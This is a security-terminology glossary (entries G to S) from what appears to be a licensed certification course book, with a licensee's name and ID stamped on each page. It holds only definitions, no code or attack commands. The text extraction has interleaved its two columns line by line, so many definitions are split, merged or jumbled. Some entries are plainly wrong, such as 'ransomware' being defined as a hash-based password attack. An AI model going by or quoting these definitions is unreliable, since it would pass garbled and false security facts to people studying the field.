Union (EU) citizens. Transfers of personal
data outside the EU Single Market are head command Linux utility for showing
restricted unless protected by like-for- the first lines in a file.
like regulations, such as the US's Privacy
heat map In a Wi-Fi site survey, a diagram
Shield requirements.
showing signal strength at different
geofencing The practice of creating a locations.
virtual boundary based on real-world
heuristic analysis (heuristic) A method
geography.
that uses feature comparisons and
geolocation The identification or likenesses rather than specific signature
estimation of the physical location of an matching to identify whether the target of
object, such as a radar source, mobile observation is malicious.
phone, or Internet-connected computing
HMAC (hash-based message
device.
authentication code) A method
GPO (Group Policy Object) On a used to verify both the integrity and
Windows domain, a way to deploy per- authenticity of a message by combining a
user and per-computer settings such as cryptographic hash of the message with a
password policy, account restrictions, secret key.
firewall status, and so on.
homomorphic encryption Method that
grep command Linux command for allows computation of certain fields in a
searching and filtering input. This can be dataset without decrypting it.
used as a file search tool when combined
honeypot (honeynet) A host, network,
with ls.
or file set up with the purpose of luring
group account A group account is a attackers away from assets of actual value
collection of user accounts that are and/or discovering attack strategies and
useful when establishing file permissions weaknesses in the security configuration.
and user rights because when many Also known as honeyfile.
individuals need the same level of access,
horizontal privilege escalation When
a group could be established containing
a user accesses or modifies specific
all the relevant users.
resources that they are not entitled to.
HA (high availability) The property that
host-based firewall A software
defines how closely systems approach
application running on a single host and
the goal of providing data availability 100
designed to protect only that host. Also
percent of the time while maintaining a
known as personal firewall.
high level of system performance.
hot site A fully configured alternate
hardening The process of making a
network that can be online quickly after a
host or app configuration secure by
disaster.
reducing its attack surface, through
running only necessary services, installing hot/cold aisle Arrangement of server
monitoring software to protect against racks to maximize the efficiency of cooling
malware and intrusions, and establishing systems. Also known as cold/hot aisle.
a maintenance schedule to ensure the
system is patched to be secure against
software exploits.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-11

HOTP (HMAC-based One-time IKE (Internet Key Exchange) Framework

Password) An algorithm that generates for creating a Security Association (SA)
a one-time password using a hash- used with IPSec. An SA establishes that
based authentication code to verify the two hosts trust one another (authenticate)
authenticity of the message. and agree secure protocols and cipher
suites to use to exchange data.
HSM (hardware security module) An
appliance for generating and storing implicit deny A basic principle of security
cryptographic keys. This sort of solution stating that unless something has
may be less susceptible to tampering explicitly been granted access, it should
and insider threats than software-based be denied access.
storage.
incremental backup A backup type in
HTML5 VPN Using features of HTML5 which all selected files that have changed
to implement remote desktop/VPN since the last full or incremental backup
connections via browser software (whichever was most recent) are backed
(clientless). up.
hybrid cloud A cloud deployment that industrial camouflage Methods of
uses both private and public elements. disguising the nature and purpose of
buildings or parts of buildings.
IaaS (Infrastructure as a Service) A
computing method that uses the cloud to inherent risk Risk that an event will pose
provide any or all infrastructure needs. if no controls are put in place to mitigate
it.
IaC (infrastructure as code) A
provisioning architecture in which input validation Any technique used to
deployment of resources is performed by ensure that the data entered into a field
scripted automation and orchestration. or variable in an application is handled
appropriately by that application.
IAM (identity and access management)
A security process that provides insecure object reference Coding
identification, authentication, and vulnerability where unvalidated input is
authorization mechanisms for users, used to select a resource object, such as a
computers, and other entities to work file or database.
with organizational assets like networks,
insider threat A type of threat actor who
operating systems, and applications.
is assigned privileges on the system that
ICS (industrial control system) A cause an intentional or unintentional
network managing embedded devices incident.
(computer systems that are designed to
integer overflow An attack in which a
perform a specific, dedicated function).
computed result is too large to fit in its
identity fraud The invention of fake assigned storage space, which may lead
personal information or the theft and to crashing or data corruption, and may
misuse of an individual's personal trigger a buffer overflow. integrity The
information. fundamental security goal of keeping
organizational information accurate,
IdP (identity provider) In a federated
free of errors, and without unauthorized
network, the service that holds the user
modifications.
account and performs authentication.
intelligence fusion In threat hunting,
IDS (intrusion detection system) A
using sources of threat intelligence data
software and/or hardware system that
to automate detection of adversary IoCs
scans, audits, and monitors the security
and TTPs.
infrastructure for signs of attacks in
progress. intranet A private network that is only
accessible by the organization's own
IEEE 802.1X A standard for encapsulating
personnel.
EAP communications over a LAN (EAPoL)
to implement port-based authentication.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-12 | Glossary

IoC (indicator of compromise) A sign jamming An attack in which radio waves

that an asset or network has been disrupt 802.11 wireless signals.
attacked or is currently under attack.
job rotation The policy of preventing any
IPAM (IP address management) one individual performing the same role
Software consolidating management or tasks for too long. This deters fraud
of multiple DHCP and DNS services and provides better oversight of the
to provide oversight into IP address person's duties.
allocation across an enterprise network.
jump server A hardened server that
IPFIX (IP Flow Information Export) provides access to other hosts. Also
Standards-based version of the Netflow known as jumpbox.
framework.
Kerberos A single sign-on authentication
IPS (intrusion prevention system) An and authorization service that is based on
IDS that can actively block attacks. a time-sensitive ticket-granting system.
IPSec (Internet Protocol Security) A keylogger Malicious software or
set of open, non-proprietary standards hardware that can record user keystrokes.
that are used to secure data through
kill chain A model developed by
authentication and encryption as the data
Lockheed Martin that describes the stages
travels across the network or the Internet.
by which a threat actor progresses a
IRP (incident response plan) Specific network intrusion.
procedures that must be performed if a
L2TP (Layer 2 Tunneling Protocol) VPN
certain type of event is detected or reported.
protocol for tunneling PPP sessions across
ISA (interconnection security a variety of network protocols such as IP,
agreement) Any federal agency Frame Relay, or ATM.
interconnecting its IT system to a third-
lateral movement The process by which
party must create an ISA to govern the
an attacker is able to move from one part
relationship. An ISA sets out a security
of a computing environment to another.
risk awareness process and commit the
agency and supplier to implementing LDAP (Lightweight Directory Access
security controls. Protocol) A network protocol used to
access network directory databases,
ISAC (Information Sharing and Analysis
which store information about authorized
Center) Not-for-profit group set up to
users and their privileges, as well as other
share sector-specific threat intelligence
organizational information.
and security best practices amongst its
members. LDAP injection An application attack
that targets web-based applications by
ISO/IEC 27K (International Organization
fabricating LDAP statements that are
for Standardization 27000 Series)
typically created by user input.
A comprehensive set of standards
for information security, including LDAPS (Lightweight Directory
best practices for security and risk Access Protocol Secure) A method
management, compliance, and technical of implementing LDAP using SSL/TLS
implementation. encryption.
ISO/IEC 31K (International Organization LEAP (Lightweight Extensible
for Standardization 31000 Series) A Authentication Protocol) Cisco Systems'
comprehensive set of standards for proprietary EAP implementation.
enterprise risk management.
least privilege A basic principle of
IV attack (Initialization Vector Attack) security stating that something should be
A wireless attack where the attacker allocated the minimum necessary rights,
is able to predict or control the IV of privileges, or information to perform its
an encryption process, thus giving the role.
attacker access to view the encrypted
data that is supposed to be hidden from
everyone else except the user or network.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-13

lightweight cryptography Cryptographic MAC filtering (Media Access Control

algorithms with reduced compute filtering) Applying an access control list to
requirements that are suitable for use in a switch or access point so that only clients
resource-constrained environments, such with approved MAC addresses can connect
as battery-powered devices. to it.
LLR (lessons learned report) An analysis MAC flooding A variation of an ARP
of events that can provide insight into poisoning attack where a switch's cache
how to improve response processes in the table is inundated with frames from
future. Also known as after action report random source MAC addresses.
or AAR.
MAM (mobile application management)
load balancer A type of switch or Enterprise management function that
router that distributes client requests enables control over apps and storage for
between different resources, such as mobile devices and other endpoints.
communications links or similarly-
managerial control A category of
configured servers. This provides fault
security control that gives oversight of the
tolerance and improves throughput.
information system.
logger command Linux utility that writes
mandatory vacations The principle that
data to the system log.
states when and how long an employee
logic bomb A malicious program or must take time off from work so that their
script that is set to run under particular activities may be subjected to a security
circumstances or in response to a defined review.
event.
maneuver In threat hunting, the concept
loop protection If broadcast traffic that threat actor and defender may use
is allowed to continually loop around deception or counterattacking strategies
a network, the number of broadcast to gain positional advantage.
packets increases exponentially, crashing
mantrap (access control vestibule) A
the network. Loop protection in switches
secure entry system with two gateways,
(such as Spanning Tree Protocol), and
only one of which is open at any one time.
in routers (Time To Live for instance) is
designed to prevent this. MD5 (Message Digest Algorithm v5) A
cryptographic hash function producing a
MaaS (monitoring as a service) Cloud
128-bit output.
service providing ongoing security and
availability monitoring of on-premises MDM (mobile device management) The
and/or cloud-based hosts and services. process and supporting technologies for
tracking, controlling, and securing the
MAC (Mandatory Access Control) Access
organization's mobile infrastructure.
control model where resources are
protected by inflexible, system defined measured boot A UEFI feature that
rules. Resources (objects) and users gathers secure metrics to validate the
(subjects) are allocated a clearance level boot process in an attestation report.
(or label).
MEF (mission essential function) A
MAC (Message Authentication Code) business or organizational activity that
Proving the integrity and authenticity of is too critical to be deferred for anything
a message by combining its hash with a more than a few hours, if at all.
shared secret.
memdump command Linux utility
MAC cloning (Media Access Control developed as part of the Coroner's Toolkit
cloning) An attack in which an attacker to dump system memory data to a file.
falsifies the factory-assigned MAC address
memory leak A software vulnerability
of a device's network interface. Also
that can occur when software does not
known as MAC spoofing.
release allocated memory when it is done
using it, potentially leading to system
instability.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-14 | Glossary

metadata Information stored or recorded MSA (measurement systems analysis)

as a property of an object, state of a Evaluates the data collection and
system, or transaction. statistical methods used by a quality
management process to ensure they are
MFA (multifactor authentication) An
robust.
authentication scheme that requires the
user to present at least two different MSSP (managed security service
factors as credentials, from something provider) Third-party provision of security
you know, something you have, configuration and monitoring as an
something you are, something you do, outsourced service.
and somewhere you are. Specifying two
MTBF (mean time between failures)
factors is known as 2FA.
The rating on a device or component
microservices A software architecture that predicts the expected time between
where components of the solution are failures.
conceived as highly decoupled services
MTD (maximum tolerable downtime)
not dependent on a single platform type
The longest period of time a business can
or technology.
be inoperable without causing irrevocable
mirroring A type of RAID that using two business failure.
hard disks, providing the simplest way of
MTTF (mean time to failure) The
protecting a single disk against failure.
average time a device or component is
Data is written to both disks and can be
expected to be in operation.
read from either disk.
MTTR (mean time to repair/replace/
MitB attack (Man-in-the-Browser
recover) The average time taken for a
attack) An attack when the web browser
device or component to be repaired,
is compromised by installing malicious
replaced, or otherwise recover from a
plug-ins or scripts, or intercepting API calls
failure.
between the browser process and DLLs.
multi-cloud A cloud deployment model
MitM attack (Man-in-the-Middle
where the cloud consumer uses multiple
attack) A form of eavesdropping where
public cloud services.
the attacker makes an independent
connection between two victims and multipath Overprovisioning controllers
steals information to use fraudulently. and cabling so that a host has failover
connections to storage media.
MMS (multimedia messaging service)
Extension to SMS allowing digital data NAC (network access control) A general
(picture, video, or audio) to be sent over a term for the collected protocols, policies,
cellular data connection. and hardware that authenticate and
authorize access to a network at the
mode of operation Implementation of a
device level.
block symmetric cipher, with some modes
allowing secure encryption of a stream of narrow-band Low-power cellular
data, with or without authentication for networks designed to provide data
each block. connectivity to IoT devices.
MoU (memorandum of understanding) NAT (network address translation)
Usually a preliminary or exploratory A routing mechanism that conceals
agreement to express an intent to work internal addressing schemes from the
together that is not legally binding and public Internet by translating between
does not involve the exchange of money. a single public address on the external
side of a router and private, non-routable
MPLS (Multiprotocol Label Switching)
addresses internally.
Developed by Cisco from ATM as a
means of providing traffic engineering ncat Utility for reading and writing raw
(congestion control), Class of Service, data over a network connection. Also
and Quality of Service within a packet known as netcat.
switched, rather than circuit switched,
network.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-15

NDA (non-disclosure agreement) OATH (Initiative for Open

An agreement that stipulates that Authentication) An industry body
entities will not share confidential comprising the main PKI providers,
information, knowledge, or materials with such as Verisign and Entrust, that was
unauthorized third parties. established with the aim of developing an
open, strong authentication framework.
Nessus One of the best-known
commercial vulnerability scanners, OAuth (Open Authorization) Standard
produced by Tenable Network Security. for federated identity management,
Also known as Tenable. allowing resource servers or consumer
sites to work with user accounts created
Netflow A Cisco-developed means of
and managed on a separate identity
reporting network flow information to
provider.
a structured database. NetFlow allows
better understanding of IP traffic flows obfuscation A technique that essentially
as used by different network applications "hides" or "camouflages" code or other
and hosts. information so that it is harder to read by
unauthorized users.
NFC (Near Field Communication) A
standard for peer-to-peer (2-way) radio OCSP (online certificate status
communications over very short (around protocol) Allows clients to request the
4") distances, facilitating contactless status of a digital certificate, to check
payment and similar technologies. NFC is whether it is revoked.
based on RFID.
offboarding The process of ensuring
NFV (network functions virtualization) that all HR and other requirements are
Provisioning virtual network appliances, covered when an employee leaves an
such as switches, routers, and firewalls, organization. Also known as exit interview.
via VMs and containers.
offline CA (offline certificate authority)
NGFW (next generation firewall) In PKI, a CA (typically the root CA) that has
Advances in firewall technology, from been disconnected from the network to
app awareness, user-based filtering, and protect it from compromise.
intrusion prevention to cloud inspection.
OICD (OpenID Connect) An
Also known as layer 7 firewall.
authentication layer that sits on top of the
Nmap Versatile port scanner used for OAuth 2.0 authorization protocol.
topology, host, service, and OS discovery
OID (object identifier) Numeric schema
and enumeration.
used for attributes of digital certificates.
nonce An arbitrary number used only onboarding The process of bringing in a
once in a cryptographic communication, new employee, contractor, or supplier.
often to prevent replay attacks.
OOB (out-of-band management)
non-repudiation The security goal Accessing the administrative interface
of ensuring that the party that sent a of a network appliance using a separate
transmission or created data remains network from the usual data network.
associated with that data and cannot deny This could use a separate VLAN or a
sending or creating that data. different kind of link, such as a dial-up
modem.
normalization A routine that applies a
common consistent format to incoming Opal Standards for implementing
data so that it can be processed safely. device encryption on storage devices.
Normalization is referred to in the context operational control A category of security
of log collection and software coding. control that is implemented by people.
NTLM authentication (NT LAN Manager orchestration The automation of
authentication) A challenge-response multiple steps in a deployment process.
authentication protocol created by order of volatility The order in which
Microsoft for use in its products. volatile data should be recovered from
various storage locations and devices
nxlog Software optimized for multi-
after a security incident occurs.
platform log collection and aggregation.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-16 | Glossary

OSINT (open-source intelligence) PDU (power distribution unit) Advanced

Publicly available information plus the strip socket that provides filtered output
tools used to aggregate and search it. voltage. A managed unit supports remote
administration.
OT (operational technology) A
communications network designed to PEAP (Protected Extensible
implement an industrial control system Authentication Protocol) EAP
rather than data networking. implementation that uses a server-side
certificate to create a secure tunnel for
OTA (over the air) A firmware update
user authentication, referred to as the
delivered on a cellular data connection.
inner method.
output encoding Coding methods to
sanitize output created from user input. PEM (privacy-enhanced mail) Base64
encoding scheme used to store certificate
OWASP (Open Web Application Security
and key data as ASCII text.
Project) A charity and community
publishing a number of secure application penetration testing A test that uses
development resources. active tools and security utilities to
evaluate security by simulating an attack
P12 (Public Key Cryptography Standard
on a system. A pen test will verify that a
#12) Format that allows a private key
threat exists, then will actively test and
to be exported along with its digital
bypass security controls, and will finally
certificate.
exploit vulnerabilities on the system. Also
P7B File format for transmitting a chain of known as pentest.
digital certificates, using PKCS#7.
percent encoding Mechanism for
PaaS (Platform as a Service) A encoding characters as hexadecimal
computing method that uses the cloud to values delimited by the percent sign.
provide any platform-type services.
persistence (load balancing) In load
PAM (pluggable authentication balancing, the configuration option that
module) Framework for implementing enables a client to maintain a connection
authentication providers in Linux. with a load-balanced server over the
duration of the session. Also referred to
passive scan An enumeration or
as sticky sessions.
vulnerability scan that analyzes only
intercepted network traffic rather persistence In cybersecurity, the ability of
than sending probes to a target. More a threat actor to maintain covert access to
generally, passive reconnaissance a target host or network.
techniques are those that do not require
PFS (perfect forward secrecy) A
direct interaction with the target.
characteristic of transport encryption
PAT (port address translation) Maps that ensures if a key is compromised
private host IP addresses onto a single the compromise will only affect a single
public IP address. Each host is tracked by session and not facilitate recovery of
assigning it a random high TCP port for plaintext data from other sessions.
communications. Also known as network
PFX (personal information exchange)
address port translation (NAPT) or NAT
Windows file format for storing a private
overloading.
key and certificate data. The file can be
patch management Identifying, testing, password-protected.
and deploying OS and application
pharming An impersonation attack in
updates. Patches are often classified as
which a request for a website, typically
critical, security-critical, recommended,
an e-commerce site, is redirected to a
and optional.
similar-looking, but fake, website.
PCI DSS (Payment Card Industry Data
PHI (protected/personal health
Security Standard) Information security
information) Information that identifies
standard for organizations that process
someone as the subject of medical
credit or bank card payments.
and insurance records, plus associated
hospital and laboratory test results.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-17

phishing A type of email-based social Point-to-Point/Point-to Multipoint

engineering attack, in which the attacker Topology A point-to-point topology is
sends email from a supposedly reputable one where two nodes have a dedicated
source, such as a bank, to try to elicit connection to one another. In a point-
private information from the victim. to-multipoint topology, a central node
mediates links between remote nodes.
physical control A type of security
Also known as Point-to-point.
control that acts against in-person
intrusion attempts. port forwarding A process in which a
router takes requests from the Internet
PII (personally identifiable information)
for a particular application (such as HTTP)
Data that can be used to identify or
and sends them to a designated host
contact an individual (or in the case of
on the LAN. Also known as destination
identity theft, to impersonate them).
network address translation or DNAT.
pinning A deprecated method of trusting
port mirroring Copying ingress and/or
digital certificates that bypasses the CA
egress communications from one or more
hierarchy and chain of trust to minimize
switch ports to another port. This is used
man-in-the-middle attacks.
to monitor communications passing over
PIV card (personal identity verification the switch. Also known as switched port
card) A smart card that meets the analyzer or SPAN.
standards for FIPS 201, in that it is
port security Preventing a device
resistant to tampering and provides quick
attached to a switch port from
electronic authentication of the card's
communicating on the network unless it
owner.
matches a given MAC address or other
PKCS (public key cryptography protection profile.
standards) Series of standards defining
post-quantum Anticipating challenges to
the use of certificate authorities and
current cryptographic implementations
digital certificates.
and general security issues in a world
PKI (public key infrastructure) where threat actors have access to
Framework of certificate authorities, significant quantum processing capability.
digital certificates, software, services,
PowerShell A command shell and
and other cryptographic components
scripting language built on the .NET
deployed for the purpose of validating
Framework.
subject identities.
PPP (Point to Point Protocol) Dial-up
playbook A checklist of actions
protocol working at layer 2 (Data Link)
to perform to detect and respond
used to connect devices remotely to
to a specific type of incident PLC
networks.
(programmable logic controller) A type
of computer designed for deployment PPTP (Point-to-Point Tunneling
in an industrial or outdoor setting that Protocol) Developed by Cisco and
can automate and monitor mechanical Microsoft to support VPNs over PPP
systems. and TCP/IP. PPTP is highly vulnerable to
password cracking attacks and considered
PNAC (port-based network access
obsolete.
control) A switch (or router) that
performs some sort of authentication of private cloud A cloud that is deployed for
the attached device before activating the use by a single entity.
port.
private key In asymmetric encryption, the
pointer dereferencing A software private key is known only to the holder
vulnerability that can occur when and is linked to, but not derivable from,
code attempts to read a memory a public key distributed to those with
location specified by a pointer, but the which the holder wants to communicate
memory location is null. Also known as securely. A private key can be used to
dereferencing. encrypt data that can be decrypted by the
linked public key or vice versa.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-18 | Glossary

privilege access management The purple team A mode of penetration

use of authentication and authorization testing where red and blue teams share
mechanisms to provide an administrator information and collaborate throughout
with centralized or decentralized control the engagement. purpose limitation
of user and group role-based privilege In data protection, the principle that
management. personal information can be collected and
processed only for a stated purpose to
privilege escalation The practice of
which the subject has consented.
exploiting flaws in an operating system or
other application to gain a greater level of Python High-level programming language
access than was intended for the user or that is widely used for automation.
application.
QA (quality assurance) Policies,
provenance In digital forensics, being procedures, and tools designed to ensure
able to trace the source of evidence to a defect-free development and delivery.
crime scene and show that it has not been
QoS (quality of service) Systems that
tampered with.
differentiate data passing over the network
proxy server A server that mediates that can reserve bandwidth for particular
the communications between a client applications. A system that cannot
and another server. It can filter and guarantee a level of available bandwidth is
often modify communications, as well often described as Class of Service (CoS).
as provide caching services to improve Also known as CoS.
performance. Also known as forward
qualitative analysis A risk analysis
proxy.
method that uses opinions and reasoning
pseudo-anonymization Removing to measure the likelihood and impact of
personal information from a data set to risk.
make identification of individuals difficult,
quantitative analysis A risk analysis
even if the data set is combined with
method that is based on assigning
other sources.
concrete values to factors.
PSK (pre-shared key) Passphrase-based
quantum cryptography Using quantum
mechanism to allow group authentication
computing for cryptographic tasks,
to a wireless network. The passphrase is
such as distributing keys or cracking
used to derive an encryption key.
(traditional) cryptographic systems.
PtH attack (pass the hash attack) A Quantum computing works on the
network-based attack where the attacker principle that its units (qubits) have more
steals hashed user credentials and uses properties than the bits used in "classical"
them as-is to try to authenticate to the computers, notably (and very crudely) that
same network the hashed credentials a qubit can have a probability of being
originated on. 1 or 0 and that inspecting the value of
one qubit can instantly determine that of
public cloud A cloud that is deployed
others (entanglement).
for shared use by multiple independent
tenants. RA (recovery agent) In PKI, an account or
combination of accounts that can copy a
public key During asymmetric encryption,
cryptographic key from backup or escrow
this key is freely distributed and can be
and restore it to a subject host or user.
used to perform the reverse encryption or
decryption operation of the linked private RA (registration authority) In PKI, an
key in the pair. authority that accepts requests for digital
certificates and authenticates the entities
PUP (potentially unwanted program)
making those requests.
Software that cannot definitively be
classed as malicious, but may not have
been chosen by or wanted by the user.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-19

race condition A software vulnerability replication Automatically copying

when the resulting outcome from data between two processing systems
execution processes is directly dependent either simultaneously on both systems
on the order and timing of certain (synchronous) or from a primary to a
events, and those events fail to execute secondary location (asynchronous).
in the order and timing intended by the
residual risk Risk that remains even after
developer.
controls are put into place.
RADIUS (Remote Authentication Dial-
retention policy Dictates for how long
in User Service) A standard protocol
information needs to be kept available on
used to manage remote and wireless
backup and archive systems. This may be
authentication infrastructures.
subject to legislative requirements.
RAID (redundant array of independent/
reverse proxy A type of proxy server that
inexpensive disks) Specifications that
protects servers from direct contact with
support redundancy and fault tolerance
client requests.
for different configurations of multiple-
device storage systems. rainbow table reverse shell A maliciously spawned
Tool for speeding up attacks against remote command shell where the
Windows passwords by precomputing victim host opens the connection to the
possible hashes. attacking host.
ransomware A type of password attack risk acceptance The response of
where an attacker uses a set of related determining that a risk is within
plaintext passwords and their hashes to the organization's appetite and no
crack passwords. countermeasures other than ongoing
monitoring is needed.
Raspberry Pi Open-source platform
producing programmable circuit boards risk avoidance In risk mitigation, the
for education and industrial prototyping. practice of ceasing activity that presents
risk.
RAT (remote access Trojan) Malware
that creates a backdoor remote risk deterrence In risk mitigation, the
administration channel to allow a threat response of deploying security controls
actor to access and control the infected to reduce the likelihood and/or impact
host. of a threat scenario. Also known as risk
reduction.
RBAC (role-based access control) An
access control model where resources risk matrix/heat map A graphical table
are protected by ACLs that are managed indicating the likelihood and impact of
by administrators and that provide user risk factors identified for a workflow,
permissions based on job functions. project, or department for reference by
stakeholders.
RCS (rich communication services)
Platform-independent advanced risk mitigation The response of reducing
messaging functionality designed to risk to fit within an organization's risk
replace SMS and MMS. appetite.
red team The "hostile" or attacking team risk register A document highlighting the
in a penetration test or incident response results of risk assessments in an easily
exercise. regex (regular expression) A comprehensible format (such as a "traffic
group of characters that describe how light" grid). Its purpose is for department
to execute a specific search pattern on a managers and technicians to understand
given text. risks associated with the workflows that
they manage.
replay attack An attack where the
attacker intercepts some authentication risk transference In risk mitigation,
data and reuses it to try to re-establish a the response of moving or sharing the
session. responsibility of risk to another entity,
such as by purchasing cybersecurity
insurance.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-20 | Glossary

risk-based framework In ESA, a rule-based access control A non-

framework that uses risk assessment to discretionary access control technique
prioritize security control selection and that is based on a set of operational rules
investment. or restrictions to enforce a least privileges
permissions policy.
robot sentry A remote-controlled or
autonomous robot capable of patrolling runbook An automated version of a
site premises or monitoring gateways. playbook that leaves clearly defined
interaction points for human analysis.
root CA (root certificate authority)
In PKI, a CA that issues certificates S/MIME (Secure/Multipurpose Internet
to intermediate CAs in a hierarchical Mail Extensions) An email encryption
structure. standard that adds digital signatures and
public key cryptography to traditional
rootkit A class of malware that modifies
MIME communications.
system files, often at the kernel level, to
conceal its presence. SaaS (Software as a Service) A
computing method that uses the cloud to
router firewall A hardware device that
provide application services to users.
has the primary function of a router, but
also has firewall functionality embedded SAE (Simultaneous Authentication
into the router firmware. of Equals) Personal authentication
mechanism for Wi-Fi networks introduced
routing protocols Rules that govern how
with WPA3 to address vulnerabilities in
routers communicate and forward traffic
the WPA-PSK method.
between networks.
salt A security countermeasure that
RPO (recovery point objective)
mitigates the impact of a rainbow table
The longest period of time that an
attack by adding a random value to
organization can tolerate lost data being
("salting") each plaintext input.
unrecoverable.
SAML (Security Assertion Markup
RSA (Rivest Shamir Adelman) Named for
Language) An XML-based data format used
its designers, Ronald Rivest, Adi Shamir,
to exchange authentication information
and Len Adelman, the first successful
between a client and a service.
algorithm for public key encryption with a
variable key length and block size. SAN (subject alternative name) Field
in a digital certificate allowing a host to
RTBH (remote triggered black hole)
be identified by multiple host names/
Using a trigger device to send a BGP route
subdomains.
update that instructs routers to drop
traffic that is suspected of attempting sandbox A computing environment that is
DDoS. isolated from a host system to guarantee
that the environment runs in a controlled,
RTO (recovery time objective) The
secure fashion. Communication links
length of time it takes after an event to
between the sandbox and the host are
resume normal business operations and
usually completely prohibited.
activities.
sanitization The process of thorough and
RTOS (real-time operating system) A
completely removing data from a storage
type of OS that prioritizes deterministic
medium so that file remnants cannot be
execution of operations to ensure
recovered.
consistent response for time-critical tasks.
SAS (Serial Attached Small Computer
RTP (Real-time Transport Protocol)
Systems Interface) Developed from
Opens a data stream for video and
parallel SCSI, SAS represents the highest
voice applications over UDP. The data
performing hard disk interface available.
is packetized and tagged with control
information (sequence numbering and SCADA (Supervisory Control and
time-stamping). Data Acquisition) A type of industrial
control system that manages large-scale,
multiple-site devices and equipment
spread over geographically large areas.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-21

scalability The property by which SED (self-encrypting drive) A disk drive

a computing environment is able to where the controller can automatically
gracefully fulfill its ever-increasing encrypt data that is written to it.
resource needs.
segment A portion of a network where all
scanless Utility that runs port scans attached hosts can communicate freely
through third-party websites to evade with one another.
detection.
SEH (structured exception handler) A
SCAP (Security Content Automation mechanism to account for unexpected
Protocol) A NIST framework that outlines error conditions that might arise during
various accepted practices for automating code execution. Effective error handling
vulnerability scanning. reduces the chances that a program could
be exploited.
screened host A dual-homed proxy/
gateway server used to provide self-signed certificate A digital certificate
Internet access to other network nodes, that has been signed by the entity that
while protecting them from external issued it, rather than by a CA.
attack.
sentiment analysis Devising an AI/ML
script kiddie An inexperienced, unskilled algorithm that can describe or classify the
attacker that typically uses tools or scripts intention expressed in natural language
created by others. statements.
SDK (software development kit) Coding separation of duties A concept that states
resources provided by a vendor to assist that duties and responsibilities should be
with development projects that use their divided among individuals to prevent ethical
platform or API. conflicts or abuse of powers.
SDN (software defined networking) server certificate A digital certificate that
APIs and compatible hardware/virtual guarantees the identity of e-commerce
appliances allowing for programmable sites and other websites that gather and
network appliances and systems. store confidential information.
SDV (software defined visibility) APIs for serverless A software architecture that
reporting configuration and state data for runs functions within virtualized runtime
automated monitoring and alerting. containers in a cloud rather than on
dedicated server instances.
SE (secure erase) A method of sanitizing
a drive using the ATA command set. server-side In a web application, input
data that is executed or validated as part
SEAndroid (Security-Enhanced Android)
of a script or process running on the
Since version 4.3, Android has been based
server.
on Security-Enhanced Linux, enabling
granular permissions for apps, container service account A host or network
isolation, and storage segmentation. account that is designed to run a
background service, rather than to log on
SECaaS (Security as a Service) A
interactively.
computing method that enables clients to
take advantage of information, software, session affinity A scheduling approach
infrastructure, and processes provided used by load balancers to route traffic
by a cloud vendor in the specific area of to devices that have already established
computer security. connections with the client in question.
Also known as source IP affinity.
secure boot A UEFI feature that prevents
unwanted processes from executing session hijacking A type of spoofing
during the boot operation. attack where the attacker disconnects a
host then replaces it with his or her own
security control A technology or
machine, spoofing the original host's
procedure put in place to mitigate
IP address. sflow Web standard for
vulnerabilities and risk and to ensure the
using sampling to record network traffic
confidentiality, integrity, and availability
statistics.
(CIA) of information.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-22 | Glossary

SFTP (Secure File Transfer Protocol) SIP (Session Initiation Protocol) Used
A secure version of the File Transfer to establish, disestablish, and manage
Protocol that uses a Secure Shell (SSH) VoIP and conferencing communications
tunnel as an encryption method to sessions. It handles user discovery
transfer, access, and manage files. (locating a user on the network),
availability advertising (whether a user
SHA (Secure Hash Algorithm) A
is prepared to receive calls), negotiating
cryptographic hashing algorithm created
session parameters (such as use of audio/
to address possible weaknesses in MDA.
video), and session management and
The current version is SHA-2.
termination.
shadow IT Computer hardware, software,
SLA (service level agreement) Operating
or services used on a private network
procedures and standards for a service
without authorization from the system
contract.
owner.
SLE (single loss expectancy) The amount
shared account An account with no
that would be lost in a single occurrence
credential (guest) or one where the
of a particular risk factor.
credential is known to multiple persons.
smart card A device similar to a credit
shellcode Lightweight block of malicious
card that can store authentication
code that exploits a software vulnerability
information, such as a user's private key,
to gain initial access to a victim system.
on an embedded microchip.
shimming The process of developing and
smart meter A utility meter that can
implementing additional code between an
submit readings to the supplier without
application and the operating system to
user intervention.
enable functionality that would otherwise
be unavailable. SMiShing A form of phishing that uses
SMS text messages to trick a victim into
shoulder surfing A social engineering
revealing information.
tactic to obtain someone's password or
PIN by observing him or her as he or she sn1per Software utility designed for
types it in. penetration testing reporting and
evidence gathering that can also run
SID (security identifier) The value
automated test suites.
assigned to an account by Windows and
that is used by the operating system to SNMP (Simple Network Management
identify that account. Protocol) Protocol for monitoring and
managing network devices. SNMP works
SIEM (security information and event
over UDP ports 161 and 162 by default.
management) A solution that provides
real-time or near-real-time analysis of SOA (service-oriented architecture) A
security alerts generated by network software architecture where components
hardware and applications. of the solution are conceived as loosely
coupled services not dependent on a
signature-based detection A network
single platform type or technology.
monitoring system that uses a predefined
set of rules provided by a software vendor SOAP (Simple Object Access Protocol)
or security personnel to identify events An XML-based web services protocol that
that are unacceptable. is used to exchange messages.
SIM (subscriber identity module) A SOAR (security orchestration,
small chip card that identifies the user automation, and response) A class of
and phone number of a mobile device, security tools that facilitates incident
via an International Mobile Subscriber response, threat hunting, and security
Identity (ISMI). configuration by orchestrating automated
runbooks and delivering data enrichment.
sinkhole A DoS attack mitigation strategy
that directs the traffic that is flooding a SoC (system-on-chip) A processor that
target IP address to a different network integrates the platform functionality of
